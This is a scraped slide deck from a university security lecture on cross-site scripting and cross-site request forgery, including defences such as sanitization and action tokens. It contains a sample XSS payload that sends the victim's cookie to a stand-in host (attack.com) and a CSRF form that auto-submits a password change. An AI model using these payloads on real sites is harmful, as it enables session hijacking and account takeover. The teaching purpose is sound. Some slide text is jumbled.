CMSC 414 Computer and Network Security Lecture 24

  • Slides: 25
Download presentation
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz

CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz

Administrivia ¨ Zeller-Felten paper on webpage ¨ HW 4 ¨ Final exam reminder +

Administrivia ¨ Zeller-Felten paper on webpage ¨ HW 4 ¨ Final exam reminder + study guide ¨ Course evaluations – www. Course. Eval. UM. umd. edu

Cross-site scripting (XSS) ¨ Can occur whenever an attacker can influence a script executed

Cross-site scripting (XSS) ¨ Can occur whenever an attacker can influence a script executed at a legitimate host, e. g. : – Dynamically generated pages (search, errors, other) • E. g. , http: //good. com/error. php? msg=an+error+occured • What happens if the attacker sends http: //good. com/error. php? msg=<script>. . . </script>

de ru n … cl m al ic io n io us co ic

de ru n … cl m al ic io n io us co ic ks lo er er ss se us ck us <script>var i=new Image; i. src=“http: //attack. com” +document. cookie; </script> http: //good. com/error? msg=<script>var+i =new+Image; +i. src=“http: //attack. com” %2 bdocument. cookie; </script> ja hi gs in Exploits using XSS malicious URL credential sent to attacker

Key points… ¨ Same-origin policy is respected – The attacker’s script was running in

Key points… ¨ Same-origin policy is respected – The attacker’s script was running in the context of good. com(!), so it was able to access the cookie ¨ Phishing likely to succeed – Users only notice that the link is to http: //good. com ¨ Using https does nothing to prevent this attack…

Stored XSS vulnerabilities ¨ Occurs when data submitted by a user is stored at

Stored XSS vulnerabilities ¨ Occurs when data submitted by a user is stored at the server, and later displayed to other users – – Comment on blog post Wiki Web-based email Social networking sites • My. Space Samy worm

n ru gs co de lo us m al ic de co io us

n ru gs co de lo us m al ic de co io us io ic al er m us st po in Exploits using XSS credential sent to attacker

Notes… ¨ No need for phishing any more! ¨ Guaranteed that user is logged

Notes… ¨ No need for phishing any more! ¨ Guaranteed that user is logged in when they run the malicious script – (In previous case, user may not be logged in when they click the attacker-generated URL)

Payloads for XSS attacks ¨ Hijack session credentials ¨ Site defacement – E. g.

Payloads for XSS attacks ¨ Hijack session credentials ¨ Site defacement – E. g. , http: //good. com/error. php? msg=We+are+going+out+of+business ¨ Injecting trojan functionality – To obtain, e. g. , credit card info ¨ Perform actions on behalf of authenticated users – In an automated fashion! – Without leaving trace of IP address! ¨ More…

Cross-domain interactions ¨ Recall… in bad page would cause legitimate script to run in

Cross-domain interactions ¨ Recall… in bad page would cause legitimate script to run in context of bad page! – Instead, malicious page can initiate a POST request to legitimate page, with arbitrary parameters – Due to the way web authentication is handled (i. e. , using a cached credential), http requests will look as if they come from the legitimate user if they are logged in when they view the malicious page – <script src=http: //good. com/foo></script>

Cross-site request forgery (CSRF) 1. Alice’s browser loads page from bad. com 2. Script

Cross-site request forgery (CSRF) 1. Alice’s browser loads page from bad. com 2. Script runs causing evilform to be submitted with a password-change request by loading www. good. com/update_pwd with attacker-specified field evilform <form method="POST" name="evilform" target="hiddenframe" action="https: //www. good. com/update_pwd"> <input type="hidden" id="password" value=“badpwd"> </form> <iframe name="hiddenframe" style="display: none"> </iframe> <script>document. evilform. submit(); </script> 3. Browser sends authentication cookies to good server. Honest user’s password is changed to badpwd!

Notes ¨ Due to same-origin policy, bad. com does not have access to any

Notes ¨ Due to same-origin policy, bad. com does not have access to any data associated with good. com ¨ When bad. com page loaded, it executes script which sends a POST request to good. com with attackerspecified parameters – Browser sends all cookies for good. com along with this request! ¨ Malicious page cannot read user’s data, but can write to user’s account

Notes ¨ CSRF for GET requests is even easier (simply use an <img> tag

Notes ¨ CSRF for GET requests is even easier (simply use an <img> tag with a crafted URL)

Notes ¨ Can be viewed as failure of principle of complete mediation – User

Notes ¨ Can be viewed as failure of principle of complete mediation – User should be required to re-authenticate before changing their password ¨ Also (potentially) principle of least privilege – User should log out of a website if not actively using it

Potential CSRF vulnerabilities ¨ Anywhere a client can change server-side state – Facebook profiles

Potential CSRF vulnerabilities ¨ Anywhere a client can change server-side state – Facebook profiles – Financial sites – Calendars, etc.

Notes ¨ XSS attacks exploit the trust a client browser has in data sent

Notes ¨ XSS attacks exploit the trust a client browser has in data sent from the legitimate website – But attacker controls what the website sends to the client browser ¨ CSRF attacks exploit the trust the legitimate website has in data sent from the client browser – But attacker controls what the client browser sends to the website ¨ XSS vulnerabilities are “more general” – Simply inject a script that, when viewed, submits a form on behalf of the user with parameters chosen by the attacker…

Defenses

Defenses

Preventing XSS ¨ Escaping/encoding input ¨ Validation/sanitization – Suppress/escape <, >, “, etc, …

Preventing XSS ¨ Escaping/encoding input ¨ Validation/sanitization – Suppress/escape <, >, “, etc, … at time they are input by a user ¨ Can apply these techniques at the time data is read, or at the time the resulting page is displayed to the client

Preventing XSS ¨ Drawbacks – Sometimes these characters may be legitimate – Unclear when

Preventing XSS ¨ Drawbacks – Sometimes these characters may be legitimate – Unclear when all malicious text is filtered out ¨ Very difficult (impossible? ) to get sanitization right ¨ Several sanitizers exist… – …and several exploits of them are known ¨ Better to err on the conservative side

Preventing XSS ¨ Some work done on preventing XSS attacks at the browser level

Preventing XSS ¨ Some work done on preventing XSS attacks at the browser level – Browser plug-ins (e. g. , No. Script) – Browser itself (e. g. , Google chrome) ¨ Mitigate XSS attacks for session hijacking – “HTTP-only” cookies sent only to the issuing server – Bind cookies to user’s IP address

Preventing CSRF attacks ¨ Inspect referrer headers – HTTP protocol specifies a header indicating

Preventing CSRF attacks ¨ Inspect referrer headers – HTTP protocol specifies a header indicating the URL of the document from which current request originated ¨ So good. com can try to prevent CSRF attacks by ignoring POST requests if the referrer is not good. com ¨ However… – Referrer fields can be absent for legitimate reasons (e. g. , new window; stripped by proxies)

Complete mediation ¨ Prevent CSRF attacks by requiring user re- authentication ¨ Not practical

Complete mediation ¨ Prevent CSRF attacks by requiring user re- authentication ¨ Not practical to do this all the time – User will be come frustrated! ¨ Can require for ‘high-value’ transactions

Client-side protection ¨ (Assumes servers do not use GET requests for modifying data) ¨

Client-side protection ¨ (Assumes servers do not use GET requests for modifying data) ¨ Browser plug-in that filters out POST requests unless requesting site and target site satisfy sameorigin policy – Might still filter out some legitimate requests

Server-side protection ¨ Prevent CSRF attacks by allowing the legitimate server to distinguish links

Server-side protection ¨ Prevent CSRF attacks by allowing the legitimate server to distinguish links in ‘fresh’ pages it serves, from links embedded in attacker pages ¨ Add authenticated “action token” as hidden field in pages served; check token upon POST request – Same-origin policy prevents 3 rd parties from reading the token ¨ Simple idea: embed (nonce, MACk(nonce)) in page – Why doesn’t this work?

“Action tokens” ¨ Need a way to bind token to session – At beginning

“Action tokens” ¨ Need a way to bind token to session – At beginning of session, send cookie with random session-id to user – Compute MAC over the URL and the cookie (note that cookie will be sent in any subsequent requests) ¨ This is potentially vulnerable to XSS attacks – Attacker injects script that steals user’s cookie and token